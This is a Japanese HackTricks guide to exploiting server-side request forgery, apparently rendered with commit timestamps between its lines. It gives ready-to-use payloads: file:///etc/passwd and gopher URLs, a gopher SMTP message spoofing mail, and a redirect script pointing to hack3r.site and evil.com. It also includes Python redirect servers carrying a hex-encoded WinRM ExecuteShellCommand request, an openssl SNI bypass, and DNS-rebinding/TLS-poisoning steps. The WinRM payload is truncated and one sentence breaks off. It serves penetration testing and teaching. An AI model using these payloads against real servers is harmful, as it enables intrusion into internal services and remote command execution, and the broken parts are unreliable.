2024-02-09 02:33:52 +00:00
# SSRF (Server Side Request Forgery)
2022-04-28 16:01:33 +00:00
2024-02-05 20:22:21 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-09-01 23:40:55 +00:00
\
2024-02-09 02:33:52 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks )を使用して、世界で最も**高度な**コミュニティツールによって**自動化されたワークフロー**を簡単に構築します。\
2024-02-05 20:22:21 +00:00
今すぐアクセスしてください:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
< details >
2024-02-09 02:33:52 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > で**ゼロからヒーローまでのAWSハッキング**を学びましょう!< / summary >
2022-04-28 16:01:33 +00:00
2024-01-01 19:09:41 +00:00
HackTricksをサポートする他の方法:
2024-02-05 20:22:21 +00:00
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2024-02-09 02:33:52 +00:00
* [**公式PEASS& HackTricksグッズ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ ](https://discord.gg/hRep4RUj7f )**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )をフォローする
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
2022-04-28 16:01:33 +00:00
< / details >
2024-02-05 20:22:21 +00:00
## 基本情報
2024-02-09 02:33:52 +00:00
**サーバーサイドリクエストフォージェリ( SSRF) **脆弱性は、**サーバーサイドアプリケーション**を操作して、攻撃者が選択したドメインに**HTTPリクエスト**を行わせるときに発生します。この脆弱性により、攻撃者によって指示された任意の外部リクエストがサーバーに公開されます。
2022-02-13 12:30:13 +00:00
2023-07-07 23:42:27 +00:00
## SSRFのキャプチャ
2022-02-13 12:30:13 +00:00
2024-02-06 03:40:01 +00:00
最初に行う必要があるのは、自分が生成したSSRFインタラクションをキャプチャすることです。HTTPまたはDNSインタラクションをキャプチャするには、次のようなツールを使用できます:
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
* **Burp Collaborator**
2022-02-13 12:30:13 +00:00
* [**pingb** ](http://pingb.in )
2022-09-01 23:40:55 +00:00
* [**canarytokens** ](https://canarytokens.org/generate )
2022-04-05 22:24:52 +00:00
* [**interractsh** ](https://github.com/projectdiscovery/interactsh )
* [**http://webhook.site** ](http://webhook.site )
* [**https://github.com/teknogeek/ssrf-sheriff** ](https://github.com/teknogeek/ssrf-sheriff )
2024-02-05 20:22:21 +00:00
* [http://requestrepo.com/ ](http://requestrepo.com/ )
* [https://github.com/stolenusername/cowitness ](https://github.com/stolenusername/cowitness )
* [https://github.com/dwisiswant0/ngocok ](https://github.com/dwisiswant0/ngocok ) - ngrokを使用したBurp Collaborator
2022-02-13 12:30:13 +00:00
2023-07-07 23:42:27 +00:00
## ホワイトリストされたドメインのバイパス
2022-02-13 12:30:13 +00:00
2024-02-06 03:40:01 +00:00
通常、SSRFが**特定のホワイトリストされたドメイン**またはURLでのみ機能していることがわかります。次のページでは、そのホワイトリストをバイパスしようとする**テクニックのコンパイル**があります:
2022-02-13 12:30:13 +00:00
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md ](url-format-bypass.md )
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
### オープンリダイレクトを介したバイパス
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
サーバーが適切に保護されている場合、Webページ内の**オープンリダイレクトを悪用することで、すべての制限をバイパス**できる可能性があります。Webページは**同じドメインへのSSRFを許可**し、おそらく**リダイレクトをフォロー**するため、**オープンリダイレクトを悪用してサーバーが内部の任意のリソースにアクセス**することができます。\
詳細はこちら:[https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
2022-02-13 12:30:13 +00:00
2023-07-07 23:42:27 +00:00
## プロトコル
2022-04-29 15:47:17 +00:00
2024-02-05 20:22:21 +00:00
- **file://**
- URLスキーム`file://`は、直接`/etc/passwd`を指すように参照されます:`file:///etc/passwd`
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
- **dict://**
2024-02-09 02:33:52 +00:00
- DICT URLスキームは、DICTプロトコルを介して定義や単語リストにアクセスするために使用されると説明されています。与えられた例では、特定の単語、データベース、エントリ番号を対象とする構築されたURLと、PHPスクリプトが攻撃者が提供した資格情報を使用してDICTサーバーに接続するのに悪用される可能性があります: `dict://< generic_user > ;< auth > @< generic_host > :< port > /d:< word > :< database > :< n > `
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
- **SFTP://**
2024-02-09 02:33:52 +00:00
- セキュアシェルを介したセキュアファイル転送のためのプロトコルとして識別され、PHPスクリプトが悪意のあるSFTPサーバーに接続するのにどのように悪用されるかを示す例が提供されています: `url=sftp://generic.com:11111/`
2024-02-05 20:22:21 +00:00
- **TFTP://**
2024-02-09 02:33:52 +00:00
- UDP上で動作するTrivial File Transfer Protocolが言及され、PHPスクリプトがTFTPサーバーにリクエストを送信するように設計されている例が示されています。TFTPリクエストは、ファイル`TESTUDPPACKET`を`generic.com`のポート`12346`に送信します:`ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
- **LDAP://**
2024-02-09 02:33:52 +00:00
- このセグメントでは、IPネットワーク上で分散ディレクトリ情報サービスを管理およびアクセスするために使用される軽量ディレクトリアクセスプロトコルが取り上げられており、ローカルホストのLDAPサーバーとのやり取りが強調されています: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
2024-02-05 20:22:21 +00:00
- **SMTP**
2024-02-09 02:33:52 +00:00
- SSRF脆弱性を悪用してローカルホスト上のSMTPサービスとやり取りする方法が説明されており、内部ドメイン名を明らかにする手順やその情報に基づいたさらなる調査アクションが含まれています。
2022-02-13 12:30:13 +00:00
```
2024-02-06 03:40:01 +00:00
From https://twitter.com/har1sec/status/1182255952055164929
2024-02-05 20:22:21 +00:00
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
2022-02-13 12:30:13 +00:00
```
2024-02-05 20:22:21 +00:00
- **Curl URL globbing - WAF bypass**
- もしSSRFが**curl**によって実行される場合、curlにはWAFをバイパスするのに役立つ可能性がある[**URL globbing**](https://everything.curl.dev/cmdline/globbing)という機能があります。たとえば、この[**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)では、**`file`プロトコルを介したパストラバーサル**の例が示されています。
2022-02-13 12:30:13 +00:00
```
2024-02-05 20:22:21 +00:00
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
2022-02-13 12:30:13 +00:00
```
2024-02-05 20:22:21 +00:00
- **Gopher://**
2024-02-09 02:33:52 +00:00
- GopherプロトコルのIP、ポート、およびバイトを指定してサーバーとの通信を行う能力について説明し、Gopherusやremote-method-guesserなどのツールを使用してペイロードを作成する方法が説明されています。2つの異なる用途が示されています:
2024-02-05 20:22:21 +00:00
2022-09-01 23:40:55 +00:00
### Gopher://
2022-02-13 12:30:13 +00:00
2024-02-09 02:33:52 +00:00
このプロトコルを使用すると、サーバーに送信してほしいIP、ポート、およびバイトを指定できます。その後、基本的にSSRFを悪用して任意のTCPサーバーと通信できます( ただし、最初にサービスとのやり取り方法を知っている必要があります) 。\
2024-02-05 20:22:21 +00:00
幸いにも、[Gopherus](https://github.com/tarunkant/Gopherus)を使用して複数のサービス用のペイロードを作成できます。さらに、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)を使用して、Java RMIサービス向けの_gopher_ペイロードを作成できます。
2022-02-13 12:30:13 +00:00
2022-04-29 15:47:17 +00:00
**Gopher smtp**
2022-02-13 12:30:13 +00:00
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:< hacker @ site . com >
RCPT TO:< victim @ site . com >
DATA
From: [Hacker] < hacker @ site . com >
To: < victime @ site . com >
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
2022-04-29 15:47:17 +00:00
**Gopher HTTP**
2022-02-13 12:30:13 +00:00
```bash
#For new lines you can use %0A, %0D%0A
gopher://< server > :8080/_GET / HTTP/1.0%0A%0A
gopher://< server > :8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
2024-02-05 20:22:21 +00:00
**Gopher SMTP — 1337にバックコネクト**
2022-02-13 12:30:13 +00:00
{% code title="redirect.php" %}
```php
< ?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
2024-02-09 02:33:52 +00:00
## Referrerヘッダーおよびその他を通じたSSRF
2023-03-05 15:13:44 +00:00
2024-02-09 02:33:52 +00:00
サーバー上のアナリティクスソフトウェアはしばしば、着信リンクを追跡するためにReferrerヘッダーをログに記録します。この実践は、アプリケーションをServer-Side Request Forgery( SSRF) の脆弱性にさらすことになります。これは、そのようなソフトウェアがReferrerヘッダーに記載された外部URLを訪れてリファラーサイトのコンテンツを分析する可能性があるためです。これらの脆弱性を発見するためには、Burp Suiteプラグイン "**Collaborator Everywhere**" を活用することが推奨されており、アナリティクスツールがRefererヘッダーを処理する方法を利用して、潜在的なSSRF攻撃面を特定します。
2023-01-11 11:28:05 +00:00
2023-12-25 18:01:55 +00:00
## 証明書からのSNIデータを介したSSRF
2023-01-11 11:28:05 +00:00
2024-02-09 02:33:52 +00:00
任意のバックエンドへの接続を可能にする可能性のある誤った構成は、次のNginx構成の例で示されています:
2024-02-06 03:40:01 +00:00
```
2023-01-11 11:28:05 +00:00
stream {
2023-07-07 23:42:27 +00:00
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
2023-01-11 11:28:05 +00:00
}
```
2024-02-09 02:33:52 +00:00
この構成では、Server Name Indication( SNI) フィールドからの値がバックエンドのアドレスとして直接利用されます。このセットアップはServer-Side Request Forgery( SSRF) への脆弱性を露出させ、SNIフィールドに希望のIPアドレスやドメイン名を指定するだけで悪用される可能性があります。`openssl`コマンドを使用して、`internal.host.com`などの任意のバックエンドに接続を強制する悪用例が以下に示されています:
2023-01-11 11:28:05 +00:00
```bash
2024-02-06 03:40:01 +00:00
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
2023-01-11 11:28:05 +00:00
```
2024-02-05 20:22:21 +00:00
## [Wget ファイルアップロード](../file-upload/#wget-file-upload-ssrf-trick)
2023-01-22 18:27:01 +00:00
2024-02-05 20:22:21 +00:00
## コマンドインジェクション付きのSSRF
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
次のようなペイロードを試してみる価
2022-02-13 12:30:13 +00:00
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
2023-07-07 23:42:27 +00:00
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%7
self.end_headers()
2022-02-13 12:30:13 +00:00
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
```
```python
from flask import Flask, redirect
from urllib.parse import quote
2023-07-07 23:42:27 +00:00
app = Flask(__name__)
2022-02-13 12:30:13 +00:00
2023-07-07 23:42:27 +00:00
@app .route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
2024-02-05 20:22:21 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-01-01 19:09:41 +00:00
\
2024-02-05 20:22:21 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks )を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
2022-09-01 23:40:55 +00:00
2024-01-01 19:09:41 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2024-02-09 02:33:52 +00:00
## DNS Rebidding CORS/SOP bypass
2024-01-01 19:09:41 +00:00
2024-02-09 02:33:52 +00:00
**CORS/SOP**の制限をバイパスするために**ローカルIPからコンテンツを外部に送信**する際に問題がある場合、**DNS Rebidding**を使用してその制限をバイパスできます:
2022-04-29 15:47:17 +00:00
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md ](../cors-bypass.md )
{% endcontent-ref %}
2024-02-09 02:33:52 +00:00
### Automated DNS Rebidding
2022-04-29 15:51:30 +00:00
2024-02-09 02:33:52 +00:00
[**`Singularity of Origin`** ](https://github.com/nccgroup/singularity )は[DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。
2022-04-29 15:51:30 +00:00
2024-02-09 02:33:52 +00:00
また、[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)で公開されているサーバーもチェックしてください。
2022-04-29 15:51:30 +00:00
2024-02-09 02:33:52 +00:00
## DNS Rebidding + TLS Session ID/Session ticket
2022-02-13 12:30:13 +00:00
2024-01-01 19:09:41 +00:00
要件:
2022-02-13 12:30:13 +00:00
* **SSRF**
2023-07-07 23:42:27 +00:00
* **アウトバウンドTLSセッション**
2024-02-05 20:22:21 +00:00
* **ローカルポート上のデータ**
2022-02-13 12:30:13 +00:00
2024-01-01 19:09:41 +00:00
攻撃:
2022-02-13 12:30:13 +00:00
2024-02-09 02:33:52 +00:00
1. ユーザー/ボットに**攻撃者が制御するドメイン**にアクセスするように要求します。
2024-02-05 20:22:21 +00:00
2. **DNS**の**TTL**は**0**秒です( したがって、被害者はまもなくドメインのIPを再度確認します) 。
3. 被害者と攻撃者のドメイン間に**TLS接続**が作成されます。攻撃者は**Session IDまたはSession Ticket**内に**ペイロードを挿入**します。
2024-02-09 02:33:52 +00:00
4. ドメインは**自身に対して無限のリダイレクトループ**を開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続け、再度**ドメインのDNSリクエスト**を実行することです。
2024-02-06 03:40:01 +00:00
5. DNSリクエストで**プライベートIP**アドレスが**与えられます**( 例: 127.0.0.1)。
2024-02-09 02:33:52 +00:00
6. ユーザー/ボットは**TLS接続を再確立**しようとし、そのために**Session ID/Ticket ID**を送信します(攻撃者のペイロードが含まれていた場所)。おめでとうございます、ユーザー/ボットに**自身を攻撃させる**ことに成功しました。
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
この攻撃中、localhost:11211( _memcache_) を攻撃する場合、被害者に最初の接続をwww.attacker.com:11211で確立させる必要があります( **ポートは常に同じ**である必要があります)。\
この攻撃を実行するには、次のツールを使用できます:[https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
2024-02-09 02:33:52 +00:00
この攻撃が説明されているトークを見るには、詳細はこちら:[https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
## Blind SSRF
2022-02-13 12:30:13 +00:00
2024-02-06 03:40:01 +00:00
盲目的SSRFと非盲目的SSRFの違いは、盲目的SSRFではSSRFリクエストの応答を見ることができないことです。そのため、既知の脆弱性のみを悪用できるため、悪用がより困難になります。
2022-02-13 12:30:13 +00:00
2024-02-09 02:33:52 +00:00
### Time based SSRF
2022-02-13 12:30:13 +00:00
2024-02-09 02:33:52 +00:00
サーバーからの応答の**時間を確認**することで、リソースが存在するかどうかを**知ることができる**かもしれません(存在するリソースにアクセスするのに時間がかかるかもしれません)。
2022-02-13 12:30:13 +00:00
2024-02-09 02:33:52 +00:00
## Cloud SSRF Exploitation
2022-02-13 12:30:13 +00:00
2024-02-09 02:33:52 +00:00
クラウド環境内でSSRF脆弱性を見つけた場合、クラウド環境に関する興味深い情報や資格情報を入手できるかもしれません:
2022-02-13 12:30:13 +00:00
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md ](cloud-ssrf.md )
{% endcontent-ref %}
2024-02-09 02:33:52 +00:00
## SSRF Vulnerable Platforms
2022-02-13 12:30:13 +00:00
2024-02-09 02:33:52 +00:00
いくつかの既知のプラットフォームには、SSRF脆弱性が含まれているか、または含まれていたことがあります。これらを確認するには、次のリンクを参照してください:
2022-02-13 12:30:13 +00:00
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md ](ssrf-vulnerable-platforms.md )
{% endcontent-ref %}
2024-02-09 02:33:52 +00:00
## Tools
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
SSRF脆弱性を検出および悪用するためのツール
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
### [Gopherus](https://github.com/tarunkant/Gopherus)
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
* [Gopherusに関するブログ記事 ](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/ )
2022-02-13 12:30:13 +00:00
2024-02-09 02:33:52 +00:00
このツールは以下のためのGopherペイロードを生成します:
2022-02-13 12:30:13 +00:00
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
2022-09-01 23:40:55 +00:00
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
* [SSRFの使用に関するブログ記事 ](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/ )
2022-02-13 12:30:13 +00:00
2024-02-06 03:40:01 +00:00
_remote-method-guesser_は、一般的な_Java RMI_脆弱性の攻撃操作をサポートする_Java RMI_脆弱性スキャナーです。ほとんどの利用可能な操作は、要求された操作のためにSSRFペイロードを生成する`--ssrf`オプションをサポートしています。`--gopher`オプションと一緒に使用すると、直接使用できる_gopher_ペイロードが直接生成されます。
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
SSRF Proxyは、Server-Side Request Forgery( SSRF) に脆弱なHTTPサーバーを介してクライアントHTTPトラフィックをトンネリングするために設計されたマルチスレッドのHTTPプロキシサーバーです。
2022-02-13 12:30:13 +00:00
2024-02-05 20:22:21 +00:00
### 練習するため
2022-02-13 12:30:13 +00:00
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
2023-07-07 23:42:27 +00:00
## 参考文献
2022-02-13 12:30:13 +00:00
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4 ](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4 )
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery )
2023-12-25 18:01:55 +00:00
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/ ](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/ )
2022-04-28 16:01:33 +00:00
2023-12-25 18:01:55 +00:00
< details >
2022-09-01 23:40:55 +00:00
2024-02-09 02:33:52 +00:00
< summary > < strong > **htARTE( HackTricks AWS Red Team Expert) **で**ゼロからヒーローまでのAWSハッキング**を学びましょう!< / strong > < / summary >
2024-01-01 19:09:41 +00:00
HackTricksをサポートする他の方法:
2022-09-01 23:40:55 +00:00
2024-02-05 20:22:21 +00:00
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を入手してください
2024-02-09 02:33:52 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )を**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、自分のハッキングトリックを共有してください。
2022-09-01 23:40:55 +00:00
2023-12-25 18:01:55 +00:00
< / details >
2024-01-01 19:09:41 +00:00
2024-02-05 20:22:21 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-01-01 19:09:41 +00:00
\
2024-02-05 20:22:21 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks )を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
2024-01-01 19:09:41 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}